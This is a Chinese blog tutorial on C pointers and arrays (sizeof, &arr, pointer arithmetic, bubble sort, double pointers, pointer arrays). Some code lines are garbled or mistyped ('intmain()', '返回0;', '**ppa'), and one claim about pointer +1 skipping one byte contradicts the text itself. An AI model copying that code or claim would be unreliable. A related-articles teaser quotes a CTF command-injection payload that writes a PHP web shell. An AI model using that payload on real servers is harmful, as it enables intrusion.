c语言指针3

news2025/3/11 2:57:38

文章目录

  • 前言
  • 一、数组名的理解
    • 1.数组名正常情况是首元素的地址
    • 2.数组名不是首元素地址的情况
      • 2. 1 sizeof(arr)中的数组名
      • 2. 2 &arr中的arr代表整个数组
    • 3. 结论
  • 二、使用指针访问数组
    • 1.使用指针输入输出数组中的数
  • 三、一维数组传参的本质
  • 四、冒泡排序
  • 五、二级指针
    • 5.1 二级指针的定义
    • 5.1 二级指针的运用
  • 六、指针数组
    • 6.1指针数组的定义
    • 6.2指针数组模拟二维数组


前言

前面两章内容,小编已经讲述了指针和内存,指针之间的关系运算等有关内容,今天就给大家详细讲述一下指针与数组之间的联系了。


提示:以下是本篇文章正文内容,下面案例可供参考

一、数组名的理解

1.数组名正常情况是首元素的地址

数组名是首元素的地址

在前面内容我们就讲述了定义一个数组,数组名就是首元素地址,今天我们就用代码给大家证明一下。

代码部分

#include<stdio.h>
int main()
{
	int arr[10] = { 0 };

	printf("arr     = %p\n", arr);
	printf("&arr[0] = %p\n", &arr[0]);
	return 0;
}

在这里插入图片描述
分析
数组在内存中存储如下
在这里插入图片描述

此时我们分别打印首元素的地址和数组名的地址,发现两个打印结果相同,所以我们同时都指向数组的首元素地址。

在这里插入图片描述
因此我们可以得出,数组名正常情况下就是首元素的地址

2.数组名不是首元素地址的情况

2. 1 sizeof(arr)中的数组名

在sizeof(arr)中的数组名不是数组首元素的地址,此时的arr代表整个数组,接下来让我们验证一下

int main()
{
	int arr[10] = { 0 };

	printf("%d\n", sizeof(arr));
	printf("%d\n", sizeof(&arr[0]));
	return 0;
}

在这里插入图片描述

代码分析
在上面代码中,定义了一个存储10个整型的数组,接下来,分别对arr和首元素的地址进行求字节数,并将字节数打印出来。如果此时arr代表首元素的地址进行求字节数,在32位环境下,指针变量的大小为四个字节,输出结果因为两个4,结果却是第一个结果为40,第二个结果为4。这是因为在sizeof(arr)中,此时arr代表整个数组,而不是首元素的地址,整个数组为10个整型的值,所以为40。

所以在sizeof中的arr代表整个数组,而不是首元素的地址。

2. 2 &arr中的arr代表整个数组

在c语言中,&arr中的arr也是代表整个数组 ,而不是单一的数组首元素的地址

代码引入

int main()
{
	int arr[10] = { 0 };

	printf("arr    = %p\n", arr);
	printf("arr+1  = %p\n", arr+1);


	printf("&arr   = %p\n", &arr);
	printf("&arr+1 = %p\n", &arr+1);

	return 0;
}

在这里插入图片描述

代码分析
在这里我们打印arr还是 &arr 都是数组arr的地址,这样直接打印不好判断arr是否是代表首元素地址还是整个数组。看过小编前两节小内容,指针变量进行±可以判断跳过几个字节。arr代表首元素地址,变量类型是int*,整型指针+1跳过是一个整型的元素也就是一个字节。&arr代表整个元素,整个元素是10个整形数据,&arr+1代表跳过整个数组,也就是40个字节。如下图显示,因为是16进制数进行打印的地址,转换成10进制,可以得到,arr+1跳过四个字节,&arr+1则是跳过40个字节。

在这里插入图片描述

3. 结论

结论

综上:数组名就是数组首元素的地址,但是存在两种例外:

  1. sizeof(arr),sizeof中单独存放数组名,此时这里的数组名代表整个数组。计算的是整个数组的大小,单位是字节。

  2. &arr,这里的数组名代表整个数组,取出的是整个数组的地址(整个数组的地址和首元素的地址是有区别的 )。

除了上述两种情况,任何地方使用数组名,数组名都代表首元素的地址。


二、使用指针访问数组

1.使用指针输入输出数组中的数

代码如下(示例):

int main()
{
	int arr[5] = { 0 };
	int* p = arr; //数组名为数组首元素的地址

	//输入
	for (int i = 0; i < 5; i++)
	{
		scanf("%d", p+i);
	}

	//输出
	for (int i = 0; i < 5; i++)
	{
		printf("%d ", *(p+i));
	}
	return 0;
}

代码分析

数组在内存中的存储如下:

在这里插入图片描述
输入数据到数组中:

将第一个数组的地址存入数组中,此时p = &arr[0];通过指针访问数组后面的元素,只需要进行指针+偏移量的做法。
在这里插入图片描述
输出数据到数组中:

在数组学习的时候,我们打印数组为arr[ i ];在这里我们用指针进行访问则是:p是首元素的地址,通过p访问第一个元素则是 * p,访问后面的元素,则是通过指针+1进行访问—*(p+i)进行访问。
在这里插入图片描述

思考

打印部分原先用arr[ i ]进行打印,等价于*(arr+i),此时我们可以发现, 下标引用操作符[ ]作用等价于解引用,这时我们是否也可以 p[ i ]进行打印数组中的元素呢?下面来实践一下

在这里插入图片描述

经过代码运行,我们发现是可以的,因此打印的方式又多了一种:

  1. arr[ i ]
  2. p[ i ]
  3. *(p + i)
  4. *(arr + i)

以上四种方法皆可以用作访问数组内的元素,他们的本质其实都是通过指针的方式来访问数组,数组元素的访问在编译器处理的时候,也是转换成首元素的地址+偏移量求出元素的地址,然后解引用来访问的。


三、一维数组传参的本质

一维数组传参的本质就是传递首元素的地址

代码验证

int test(int arr[10])   
{
	int sz2 = sizeof(arr) / sizeof(arr[0]);   
	return sz2;   
}
int main() intmain()  
{
	int arr[10] = { 0 };   
	int sz1 = sizeof(arr) / sizeof(arr[0]);   
	printf("sz1 = %d\n", sz1);   
	int sz2 = test(arr);   
	printf("sz2 = %d\n", sz2);   

	return 0; 返回0;  
}

假设数组传参传递的是首元素的地址,那么在测试函数中,sizeof(arr)中的arr就是数组首元素的地址,求出来的值在32位环境下因该为4。sz2的值应该为1,sz1的值应该为10。那么结果是不是这样的呢?
在这里插入图片描述
很明显,答案如我们预期一样,因此可以得出数组传参的本质就是传递首元素的地址。所以函数形参的部分理论上应该使⽤指针变量来接收⾸元素的地址。那么在函数内部我们写sizeof(arr) 计算的是⼀个地址的大小(单位字节)而不是数组的大小(单位字节)。正是因为函数的参数部分是本质是指针,所以在函数内部是没办法求的数组元素个数的。


四、冒泡排序

冒泡排序的核心思想就是两个相邻的数之间进行比较

将十个数的排序进行排序成升序

假设输入数据:
9 8 7 6 5 4 3 2 1 0
输出数据应为:
0 1 2 3 4 5 6 7 8 9

思维导图
在这里插入图片描述
在这里一趟冒泡排序就让一个数回到了应该的位置,那么让10个数回到正确的位置只需要9趟,然后在一趟冒泡排序中,第一次我们要交换9次,然后9到了原有的位置,9保持不变,然后下一趟冒泡排序就只需要交换8次就可以,因为9已经到了因该去的位置,此次类推下去,每趟冒泡排序都会减少一个交换的数。

结论
n个数 需要n-1趟冒泡排序,使用循环变量i,从0开始到n-1
接下来定义每一趟冒泡排序交换的个数
每一趟冒泡排序需要交换n-1-i,每一趟冒泡排序就会减少一个需要交换的数

代码实现

void bubble_sort(int arr[10], int sz)
{
	int i = 0;
	for (i = 0; i < sz - 1; i++)
	{
		int j = 0;
		for (j = 0; j < sz - 1 - i; j++)
		{
			if (arr[j] > arr[j + 1])
			{
				int temp = arr[j];
				arr[j] = arr[j + 1];
				arr[j + 1] = temp;
			}
		}
	}
}
int main()
{
	int arr[10] = { 9,8,7,6,5,4,3,2,1,0 };     
	int sz = sizeof(arr) / sizeof(arr[0]);     
	bubble_sort(arr, sz);     
	for (int i = 0; i < sz; i++)     
	{
		printf("%d ",arr[i]);     
	}
	return 0;     
}

五、二级指针

5.1 二级指针的定义

在这之前我们讲述了一级指针,一级指针就是存储变量的地址,那么指针变量也有地址,这我们我们定义二级指针进行存储指针变量地址。

int main()
{
	int a = 10;
	int* p = &a;
	int** pp = &p;
	return 0;

}

在这里插入图片描述
分析
在这里创建变量a此时系统空间会开辟一段空间进行存储a,此时a所在空间地址假设为0x12ff40,此时我们将a的地址取出放入指针变量p中,然后指针变量p也开辟一段空间进行存储a的地址,通过指针变量p我们可以找到a所在空间,指针变量p也有地址,它的地址为0x45ff87,我们取出它的地址放入二级指针变量pp中。
在这里插入图片描述
也就是我们可以将二级指针变量类型int **进行拆分成int*和*,前面的int*代表二级指针指向的那块空间的地址的变量类型是int*,*代表pp是一个二级指针变量。

5.1 二级指针的运用

二级指针的运用主要有如下两种:

  • *pp 通过对pp中的地址进⾏解引⽤,这样找到的是 p , *pp 其实访问的就是 p.
int a = 10;   
*pp = &a;//等价于 p = &a;       
  • **pp 先通过 *pp 找到 p ,然后对 p 进⾏解引⽤操作: *p ,那找到的是 a
**ppa = 30;       
//等价于*pa = 30;       
//等价于a = 30;       

六、指针数组

6.1指针数组的定义

在c语言中,我们常见到的数组有整型数组,字符数组
整型数组,存放的都是整型变量的数组
字符数组,存放的都是字符变量的数组
指针数组,存放的都是指针变量的数组

在这里插入图片描述

指针数组的每个元素都是⽤来存放地址(指针)的。
在这里插入图片描述

指针数组的每个元素是地址,⼜可以指向⼀块区域

6.2指针数组模拟二维数组

int main()
{ 
	int arr1[] = { 1,2,3,4,5 };
	int arr2[] = { 2,3,4,5,6 };
	int arr3[] = { 3,4,5,6,7 };

	int* arr[] = { arr1,arr2,arr3 };
	int i = 0;
	for (i = 0; i < 3; i++)
	{
		int j = 0;
		for (j = 0; j < 5; j++)
		{
			printf("%d ",arr[i][j]);
		}
		printf("\n");
	}
	return 0;
}

在这里插入图片描述

在这里插入图片描述

分析
arr[ i ] 是访问arr数组中的元素,arr[ i ]找到的数组元素指向了整型一维数组,arr[ i ][ j ]就是整型一维数组中的元素。

注意
在这里只是利用指针数组进行模拟二维数组,数组在内存中存储都是连续的,而arr1,arr2,arr3三个数组所处的空间是不同的,所以在利用指针数组模拟二维数组,这个不是真的二维数组

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1965188.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

betterZip免费版怎么下载 如何安装下载和激活BetterZip教程 BetterZip注册码密钥

BetterZip是一款功能齐全且对用户友好的Mac系统解压缩工具&#xff0c;它具备压缩文件及文件夹&#xff0c;解压压缩包&#xff0c;在线预览和编辑压缩包内文件等一系列功能。此外&#xff0c;BetterZip还有简洁的界面和操作&#xff0c;可以通过拖拽或右键菜单来压缩或解压文件…

深度体验AI计算平台:超算互联网模型服务与加速卡

目录 前言 AI算力性能体验 1、注册/登录 2、购买服务 3、运行的过程记录 4、运行效果 5、运行结果反馈 6、体验总结 番外篇&#xff1a;主流推荐 1、算法模型推荐 2、开源项目推荐 3、数据集推荐 结束语 前言 在人工智能的浪潮中&#xff0c;AI计算平台已成为研究…

系统移植(十一)根文件系统(未整理)

文章目录 一、根文件系统中各个目录文件功能解析&#xff1a;二、对busybox进行配置和编译&#xff08;一&#xff09;执行make help命令获取make的帮助信息&#xff08;二&#xff09;对busybox源码进行配置&#xff0c;配置交叉编译器&#xff08;三&#xff09;执行make men…

kill 命令详解

kill命令其实比较让人难以理解的点在于信号这块&#xff0c;开发中kill -9经常用&#xff0c;但却很少去深入了解其他信号参数的具体作用&#xff0c;本文主要是就信号这块做一个解释。 实验代码 public static void main(String[] args) {Runtime.getRuntime().addShutdownHoo…

文件系统 --- 文件结构体,文件fd以及文件描述符表

序言 在编程的世界里&#xff0c;文件操作是不可或缺的一部分。无论是数据的持久化存储、日志记录&#xff0c;还是简单的文本编辑&#xff0c;文件都扮演着至关重要的角色。然而&#xff0c;当我们通过编程语言如 C、Java 等轻松地进行文件读写时&#xff0c;背后隐藏的复杂机…

C#面向对象补全计划 之 画UML类图(持续更新)

本文仅作学习笔记与交流&#xff0c;不作任何商业用途&#xff0c;作者能力有限&#xff0c;如有不足还请斧正 本系列旨在通过补全学习之后&#xff0c;给出任意类图都能实现并做到逻辑上严丝合缝 学会这套规则&#xff0c;并看完面向对象补全计划文章之后&#xff0c;可以尝试…

Ubuntu20.04安装Angular CLI

一、更换apt-get源 使用原来的apt-get源有几个包报错&#xff0c;下不下来 更换阿里源&#xff08;阿里巴巴开源镜像站-OPSX镜像站-阿里云开发者社区&#xff09;&#xff0c;使用网站中的内容&#xff0c;在 apt-get update 时总是报错 改用清华源&#xff1a; deb http:/…

多种方式防止表单重复提交

1.前端方案&#xff1a; 通过js将按钮绑定一个方法&#xff0c;点击后3s内将按钮设置成不可用&#xff0c;或者隐藏。 缺点&#xff1a;绕过前端&#xff0c;例如通过postman发请求。 2.hashmap版&#xff1a; 请求携带一个参数&#xff0c;将请求携带的参数&#xff08;可…

牛客JS题(十四)类继承

注释很详细&#xff0c;直接上代码 涉及知识点&#xff1a; 类的基本使用构造函数实现类原型链的使用 题干&#xff1a; 我的答案 <!DOCTYPE html> <html><head><meta charset"utf-8" /></head><body><script type"tex…

这两个大龄程序员,打算搞垮一个世界软件巨头!

大家都知道&#xff0c;Adobe是多媒体和数字内容创作者的绝对王者&#xff0c;它的旗下有众多大家耳熟能详的软件&#xff1a;Photoshop、Illustrator、Premiere Pro、After Effects、InDegign、Acrobat、Animate等等。 这些软件使用门槛很高&#xff0c;价格昂贵&#xff0c;安…

安装 Terraform for Tencent 使用

第一步 &#xff1a;下载安装包 前往 Terraform 官网&#xff0c;使用命令行直接安装 Terraform 或下载二进制安装文件。 解压并配置全局路径 Linux/MAC&#xff1a;export PATH$PATH:${可执行文件所在目录} 例如&#xff1a;export PATH$PATH:$/usr/bin/terraform Win…

Vulnhub靶机-Jangow 1.0.1

Vulnhub靶机-Jangow 1.0.1 修改为NAT模式 ?buscarecho <?php eval($_POST[cmd])?> >shell.php后面试了试很多网上的方法反弹shell但都不行

LeetCode面试150——122买卖股票的最佳时机II

题目难度&#xff1a;中等 默认优化目标&#xff1a;最小化平均时间复杂度。 Python默认为Python3。 目录 1 题目描述 2 题目解析 3 算法原理及题目解析 3.1 动态规划 3.2 贪心算法 参考文献 1 题目描述 给你一个整数数组 prices &#xff0c;其中 prices[i] 表示某支…

Spring-FactoryBean来配置Bean

spring通过FactoryBean配置&#xff0c;比前面的工厂方法配置Bean要重要些&#xff0c;因为我们整合很多第三方的框架的时候&#xff0c;需要用到FactoryBean来配置第三方框架中的bean 对象&#xff0c;从而把第三方框架整合到spring中来&#xff01;当然在整合这些第三方框架的…

2024西安铁一中集训DAY28 ---- 模拟赛(简单dp + 堆,模拟 + 点分治 + 神秘dp)

文章目录 前言时间安排及成绩题解A. 江桥不会做的签到题&#xff08;简单dp&#xff09;B. 江桥树上逃&#xff08;堆&#xff0c;模拟&#xff09;C. 括号平衡路径&#xff08;点分治&#xff09;D. 回到起始顺序&#xff08;dp&#xff0c;组合数学&#xff09; 前言 T2好难…

吴恩达老师机器学习-ex4

梯度检测没有实现。有借鉴网上的部分 导入相关库&#xff0c;读取数据 因为这次的数据是mat文件&#xff0c;需要使用scipy库中的loadmat进行读取数据。 通过对数据类型的分析&#xff0c;发现是字典类型&#xff0c;查看该字典的键&#xff0c;可以发现又X&#xff0c;y等关…

使用obsidian-webpage-export 插件,将 Obsidian 中的笔记导出为网页

&#x1f49d;&#x1f49d;&#x1f49d;欢迎莅临我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐&#xff1a;「storm…

2024下《网络工程师》案例简答题,刷这些就够了!

距离2024下半年软考已经越来越近了&#xff0c;不知道今年备考软考网络工程师的同学们开始准备了吗&#xff1f; 简答题一直是网工拿分的重点区域&#xff0c;对于许多考生来说&#xff0c;也往往是最具挑战性的部分。今天我就把那些重要的案例简答题类型整理汇总给大家&#x…

【Python学习手册(第四版)】学习笔记12-if语句(and、or、三元表达式)详解

个人总结难免疏漏&#xff0c;请多包涵。更多内容请查看原文。本文以及学习笔记系列仅用于个人学习、研究交流。 本文较简单&#xff0c;对if语句的格式、示例、多路做了示例&#xff0c;以及真值测试&#xff08;and、or等&#xff09;介绍&#xff0c;最后介绍了三三元表达式…